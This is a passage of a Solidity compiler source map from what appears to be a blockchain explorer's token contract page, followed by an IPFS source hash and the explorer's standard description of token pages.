:31:::1;::::0;12903:1:::1;::::0;12873:31:::1;:::i;:::-;12861:43;;12919:14;12966:4;12936:18;:27;;;:34;;;;:::i;:::-;12919:51;;12985:14;13002:22;13019:4;13002:16;:22::i;:::-;12985:39:::0;-1:-1:-1;13043:13:0;;13039:70:::1;;13075:34;13088:9;13099;13075:12;:34::i;:::-;-1:-1:-1::0;;13154:1:0::1;13124:27:::0;:31;-1:-1:-1;12811:356:0::1;13184:16;::::0;::::1;::::0;;;::::1;13225:15;13213:9;:27:::0;4851:8;:16;;-1:-1:-1;;4851:16:0;;;12434:814::o;13773:153::-;13890:4;;13853;;-1:-1:-1;;;;;13877:17:0;;;13890:4;;13877:17;:41;;;;-1:-1:-1;13908:10:0;;-1:-1:-1;;;;;13898:20:0;;;13908:10;;13898:20;13877:41;13870:48;13773:153;-1:-1:-1;;;13773:153:0:o;10933:904::-;11031:28;;;;;;;;;11053:6;11031:28;;;;;;;;;11012:7;;11078:21;11110:117;;;;11147:68;;;;;;;;11184:14;;11175:6;:23;;;;:::i;:::-;11151:7;:20;:48;;;;:::i;:::-;11147:68;;11201:13;;11147:68;;;;;11136:79;-1:-1:-1;11110:117:0;11274:21;;11239:23;;11298:3;;11265:30;;:6;:30;:::i;:::-;:36;;;;:::i;:::-;11239:62;;11312:16;11357:3;11340:8;:14;;;11331:6;:23;;;;:::i;:::-;:29;;;;:::i;:::-;11312:48;-1:-1:-1;11376:22:0;;11373:96;;11451:18;11413;:34;;;:56;;;;;;;:::i;:::-;;;;-1:-1:-1;;11373:96:0;11485:15;;11482:75;;11546:11;11515:18;:27;;;:42;;;;;;;:::i;:::-;;;;-1:-1:-1;;11482:75:0;11570:21;11594:32;11615:11;11594:18;:32;:::i;:::-;11655:4;11639:22;;;;:7;:22;;;;;:42;;11570:56;;-1:-1:-1;11570:56:0;;11639:22;;;:42;;11570:56;;11639:42;:::i;:::-;;;;-1:-1:-1;;11695:20:0;;11692:78;;11722:48;;1361:25:1;;;11746:4:0;;-1:-1:-1;;;;;11722:48:0;;;;;1349:2:1;1334:18;11722:48:0;;;;;;;11692:78;11803:25;11812:16;11803:6;:25;:::i;:::-;11795:34;10933:904;-1:-1:-1;;;;;;;;;10933:904:0:o;11845:581::-;12010:16;;;12024:1;12010:16;;;;;;;;11909:7;;11954:21;;11909:7;;12010:16;;;;;;;;;;;;-1:-1:-1;12010:16:0;11986:40;;12055:4;12037;12042:1;12037:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12037:23:0;;;:7;;;;;;;;;;:23;;;;12081:6;;:13;;;-1:-1:-1;;;12081:13:0;;;;:6;;;;;:11;;:13;;;;;12037:7;;12081:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12071:4;12076:1;12071:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;12071:23:0;;;:7;;;;;;;;;:23;12139:6;;12107:53;;12124:4;;12139:6;12148:11;12107:8;:53::i;:::-;12173:6;;:187;;-1:-1:-1;;;12173:187:0;;-1:-1:-1;;;;;12173:6:0;;;;:57;;:187;;12245:11;;12173:6;;12287:4;;12314;;12334:15;;12173:187;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12403:14;12379:21;:38;;;;:::i;:::-;12371:47;11845:581;-1:-1:-1;;;;11845:581:0:o;13256:509::-;13369:6;;13337:53;;13354:4;;-1:-1:-1;;;;;13369:6:0;13378:11;13337:8;:53::i;:::-;13434:6;;13405:24;;-1:-1:-1;;;;;13434:6:0;:22;13465:9;13499:4;13519:11;13405:24;;13577:7;771;798:6;-1:-1:-1;;;;;798:6:0;;725:87;13577:7;13599:15;13434:191;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;13403:222:0;-1:-1:-1;13681:1:0;;-1:-1:-1;13650:28:0;13403:222;13650:9;:28;:::i;:::-;:32;13646:111;;;13697:60;13728:28;13740:16;13728:9;:28;:::i;:::-;13705:10;;-1:-1:-1;;;;;13705:10:0;;1567:6;1542:21;:31;;1534:73;;;;-1:-1:-1;;;1534:73:0;;11534:2:1;1534:73:0;;;11516:21:1;11573:2;11553:18;;;11546:30;11612:31;11592:18;;;11585:59;11661:18;;1534:73:0;11332:353:1;1534:73:0;1621:12;1639:9;-1:-1:-1;;;;;1639:14:0;1661:6;1639:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1620:52;;;1691:7;1683:78;;;;-1:-1:-1;;;1683:78:0;;12102:2:1;1683:78:0;;;12084:21:1;12141:2;12121:18;;;12114:30;12180:34;12160:18;;;12153:62;12251:28;12231:18;;;12224:56;12297:19;;1683:78:0;11900:422:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2552:273::-;2608:6;2661:2;2649:9;2640:7;2636:23;2632:32;2629:52;;;2677:1;2674;2667:12;2629:52;2716:9;2703:23;2769:5;2762:13;2755:21;2748:5;2745:32;2735:60;;2791:1;2788;2781:12;2830:180;2889:6;2942:2;2930:9;2921:7;2917:23;2913:32;2910:52;;;2958:1;2955;2948:12;2910:52;-1:-1:-1;2981:23:1;;2830:180;-1:-1:-1;2830:180:1:o;3223:388::-;3291:6;3299;3352:2;3340:9;3331:7;3327:23;3323:32;3320:52;;;3368:1;3365;3358:12;3320:52;3407:9;3394:23;3426:31;3451:5;3426:31;:::i;:::-;3476:5;-1:-1:-1;3533:2:1;3518:18;;3505:32;3546:33;3505:32;3546:33;:::i;:::-;3598:7;3588:17;;;3223:388;;;;;:::o;3839:127::-;3900:10;3895:3;3891:20;3888:1;3881:31;3931:4;3928:1;3921:15;3955:4;3952:1;3945:15;3971:128;4038:9;;;4059:11;;;4056:37;;;4073:18;;:::i;4104:125::-;4169:9;;;4190:10;;;4187:36;;;4203:18;;:::i;4234:356::-;4436:2;4418:21;;;4455:18;;;4448:30;4514:34;4509:2;4494:18;;4487:62;4581:2;4566:18;;4234:356::o;4948:251::-;5018:6;5071:2;5059:9;5050:7;5046:23;5042:32;5039:52;;;5087:1;5084;5077:12;5039:52;5119:9;5113:16;5138:31;5163:5;5138:31;:::i;5513:607::-;-1:-1:-1;;;;;5872:15:1;;;5854:34;;5919:2;5904:18;;5897:34;;;;5962:2;5947:18;;5940:34;;;;6005:2;5990:18;;5983:34;;;;6054:15;;;6048:3;6033:19;;6026:44;5834:3;6086:19;;6079:35;;;;5803:3;5788:19;;5513:607::o;6125:306::-;6213:6;6221;6229;6282:2;6270:9;6261:7;6257:23;6253:32;6250:52;;;6298:1;6295;6288:12;6250:52;6327:9;6321:16;6311:26;;6377:2;6366:9;6362:18;6356:25;6346:35;;6421:2;6410:9;6406:18;6400:25;6390:35;;6125:306;;;;;:::o;9688:168::-;9761:9;;;9792;;9809:15;;;9803:22;;9789:37;9779:71;;9830:18;;:::i;9861:217::-;9901:1;9927;9917:132;;9971:10;9966:3;9962:20;9959:1;9952:31;10006:4;10003:1;9996:15;10034:4;10031:1;10024:15;9917:132;-1:-1:-1;10063:9:1;;9861:217::o;10215:127::-;10276:10;10271:3;10267:20;10264:1;10257:31;10307:4;10304:1;10297:15;10331:4;10328:1;10321:15;10347:980;10609:4;10657:3;10646:9;10642:19;10688:6;10677:9;10670:25;10714:2;10752:6;10747:2;10736:9;10732:18;10725:34;10795:3;10790:2;10779:9;10775:18;10768:31;10819:6;10854;10848:13;10885:6;10877;10870:22;10923:3;10912:9;10908:19;10901:26;;10962:2;10954:6;10950:15;10936:29;;10983:1;10993:195;11007:6;11004:1;11001:13;10993:195;;;11072:13;;-1:-1:-1;;;;;11068:39:1;11056:52;;11163:15;;;;11128:12;;;;11104:1;11022:9;10993:195;;;-1:-1:-1;;;;;;;11244:32:1;;;;11239:2;11224:18;;11217:60;-1:-1:-1;;;11308:3:1;11293:19;11286:35;11205:3;10347:980;-1:-1:-1;;;10347:980:1:o

Swarm Source

ipfs://c66539316167ddf651689d3af6a895f5e2b61ab4fcb7b1988418ebdc3c5bf1b7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.